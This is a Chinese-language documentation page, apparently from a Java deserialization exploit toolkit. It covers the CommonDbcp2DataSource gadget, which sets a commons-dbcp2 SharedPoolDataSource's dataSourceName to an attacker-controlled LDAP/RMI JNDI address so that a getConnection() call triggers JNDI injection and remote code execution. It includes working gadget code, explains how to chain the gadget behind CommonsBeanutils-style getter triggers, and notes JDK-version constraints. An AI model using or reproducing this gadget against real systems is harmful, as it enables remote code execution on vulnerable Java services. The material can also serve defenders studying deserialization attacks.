- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
org.apache.commons:common-dbcp2(org.apache.commons.dbcp2.datasources.SharedPoolDataSource)
构造一个 commons-dbcp2 的 SharedPoolDataSource,把它的 dataSourceName 设为攻击者可控的 JNDI 地址。当上层触发链调用该对象的 getConnection() 时,DBCP 内部会用 dataSourceName 做一次 JNDI 查找(InitialContext.lookup),从而把「一次对 getter/公共方法的调用」转化为 JNDI 注入 → RCE。它是链尾 sink(END),负责把任意 getter 触发能力落地成 JNDI 利用。
- 入口
tags:DataSourceChains—— 归属「DataSource 触发」族,承接能实例化并调用 DataSource 方法的上游。SpecialPublicMethod—— 声明本环靠一个「特定公共方法」(getConnection)被触发,而非普通字段 getter;上游据此知道要反射调用哪个方法。Getter—— 同时可被「调用 getter」型上游命中(connection属性 →getConnection)。END—— 链的终点,不再向下衔接。
- 衔接
nextTags:无(END)。 excludes:无。
@GadgetTags(tags={"DataSourceChains", "SpecialPublicMethod", "Getter", "END"})
public class CommonDbcp2DataSource implements Gadget {
private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";
@Param(name="Jndi地址")
public String jndiUrl = "ldap://127.0.0.1:1389/x";
public Object getObject() {
SharedPoolDataSource dataSource = new SharedPoolDataSource();
dataSource.setDataSourceName(this.jndiUrl); // 关键:dataSourceName = 恶意 JNDI 地址
return dataSource;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
return this.getObject();
}
}getObject 只做两件事:new SharedPoolDataSource(),再 setDataSourceName(jndiUrl)。SharedPoolDataSource 继承自 InstanceKeyDataSource,其 getConnection() 会走 getPooledConnectionAndInfo() → getConnectionPoolDataSource(),其中通过 new InitialContext().lookup(dataSourceName) 解析 dataSourceName。因此一旦 dataSourceName 是 ldap://.../x 这类外部地址,调用 getConnection() 即触发 JNDI 注入。
invoke 不做包装(本环是叶子,无 chain.doCreate),而是向 GadgetContext 写入三条「触发契约」,告诉上游 gadget 如何激活本对象:
SUPER_CLASS_NAME_KEY = DataSource.class:本对象可按javax.sql.DataSource类型被持有/声明。SPECIAL_METHOD_NAME_KEY = "getConnection":上游若是「特定公共方法」触发型(SpecialPublicMethod),应反射调用getConnection()。GETTER_PARAM_NAME_KEY = "connection":上游若是「getter 触发」型(如BeanComparator/CommonsBeanutils系),把目标属性名设为connection,PropertyUtils会解析成getConnection()。
这套契约让同一 sink 既能挂在 getter 链后,也能挂在 special-method 链后。私有字段 getterMethodName/getterPropertyName 仅作代码内自述,实际以 context 中写入的值为准。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
jndiUrl |
Jndi地址 | 写入 dataSourceName,getConnection 时被 JNDI lookup 解析 |
ldap://127.0.0.1:1389/x |
任意 ldap:///rmi:// 恶意地址 |
- 依赖
commons-dbcp2(org.apache.commons.dbcp2.datasources.SharedPoolDataSource)。是经典 DBCP JNDI gadget 的 dbcp2 版本。 - 触发点是
getConnection(),其内部通过InstanceKeyDataSource.jndiEnvironment/dataSourceName走InitialContext.lookup。因此利用是否成功取决于 JNDI 注入本身(受目标 JDK 的com.sun.jndi.ldap.object.trustURLCodebase/ RMI 高版本限制约束)。 - 本环只产出对象与写 context,真正的调用发生在上游:需要一个能对反序列化对象调用
getConnection()(或connectiongetter)的载体,例如 getter 触发型(CommonsBeanutils 系)或SpecialPublicMethod触发型 gadget。 - 与
CommonDbcpDataSource(dbcp1 版)逻辑一致,仅 DataSource 实现类与依赖包不同。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。作为 DataSourceChains/Getter/SpecialPublicMethod 触发型链的可选 JNDI sink 手工组合使用。
- 上游(提供
getConnection/connectiongetter 触发能力):CommonsBeanutils1 等Getter型跳板,或SpecialPublicMethod型触发器。 - 同族(同目录 DBCP DataSource sink,均以
getConnection→ JNDI 收尾):- CommonDbcp2DataSource2(dbcp2 ·
PerUserPoolDataSource) - CommonDbcpDataSource(dbcp1 ·
SharedPoolDataSource) - CommonDbcpDataSource2(dbcp1 ·
PerUserPoolDataSource)
- CommonDbcp2DataSource2(dbcp2 ·